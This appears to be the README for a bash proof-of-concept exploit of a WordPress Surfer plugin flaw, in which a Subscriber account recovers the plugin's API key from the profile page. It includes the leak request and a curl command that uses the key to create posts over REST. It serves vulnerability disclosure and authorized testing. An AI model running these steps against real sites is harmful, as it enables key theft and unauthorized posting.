
Bash PoC for CVE-2026-112222: a Subscriber account leaks the Surfer WordPress plugin API key via the profile page, enabling authenticated REST post creation.
| CVE | CVE-2026-112222 |
| Plugin | Surfer (surferseo) |
| Affected | <= 1.8.0.744 |
| Fixed in | 1.8.1.759 |
| Severity | CVSS 5.4 Medium |
| Attacker needs | Subscriber account |
| Advisory | Patchstack |
| Writeup | mor-golan.github.io/research/cve-2026-112222-surferseo |
The Surfer plugin hooks a script loader on the global admin_enqueue_scripts action and guards it only with $screen->post_type, which WordPress fills from the request. A Subscriber who opens /wp-admin/profile.php?post_type=post gets a page with a wpsurfer JavaScript object that contains the stored wpsurfer_api_access_key option. That key is also the bearer token that the plugin's surferseo/v1 REST routes accept. In my lab a Subscriber used it to publish a post through POST /wp-json/surferseo/v1/import_post/.
This PoC logs in as a Subscriber, checks the profile page without the parameter as a control, requests it again with ?post_type=post, and extracts the key. It then prints the follow up REST request that would use the key, without sending it.

The key in the screenshot and in the examples below is the canary value I seeded in my lab, SURFER-KEY-CANARY-4f91c7a3e2. It is not a real key.
Requirements: bash, curl, grep, sed. The target site must have the plugin active and connected to Surfer, so the option holds a key. You need a Subscriber login.
chmod +x poc-surfer-subscriber-reads-api-key.sh
# target, user and password as arguments
./poc-surfer-subscriber-reads-api-key.sh http://localhost:8080 subscriber 'subscriber-password'
# or from the environment (TARGET defaults to http://localhost:8080)
TARGET=http://localhost:8080 WP_USER=subscriber WP_PASS='subscriber-password' ./poc-surfer-subscriber-reads-api-key.sh
Exit codes: 0 means the key was recovered, 1 means it did not appear, 2 means the script could not log in or a request failed.
The request the script sends for the leak:
GET /wp-admin/profile.php?post_type=post HTTP/1.1
Host: localhost:8080
Cookie: wordpress_logged_in_<hash>=<subscriber session cookie>
The page then contains:
<script id="surfer-general-js-extra">
var wpsurfer = {"ajaxurl":"http://localhost:8080/wp-admin/admin-ajax.php", ... ,"api_key":"SURFER-KEY-CANARY-4f91c7a3e2", ... };
To confirm the impact on the site, send the recovered key to the plugin's REST route. This creates a post, so run it only on a site you are allowed to change:
curl -X POST 'http://localhost:8080/wp-json/surferseo/v1/import_post/' \
-H 'Authorization: Bearer SURFER-KEY-CANARY-4f91c7a3e2' \
-H 'Content-Type: application/json' \
--data '{"content":"<p>poc</p>","title":"poc","metadata":{"postStatus":{"value":"draft"}}}'
In my lab the same route returned HTTP 401 rest_forbidden with no Authorization header and with a wrong bearer token, and HTTP 200 with the leaked key.
poc-surfer-subscriber-reads-api-key.sh: logs in as a Subscriber, runs the control, recovers the key and prints the follow up request.images/subscriber-reads-api-key.png: the profile page as a Subscriber in my lab, showing the leaked canary key.For authorized security testing and education only. Run it only against systems you own or are permitted to test.
Found and reported by Mor Golan, Israeli CVE hunter and bug bounty hunter.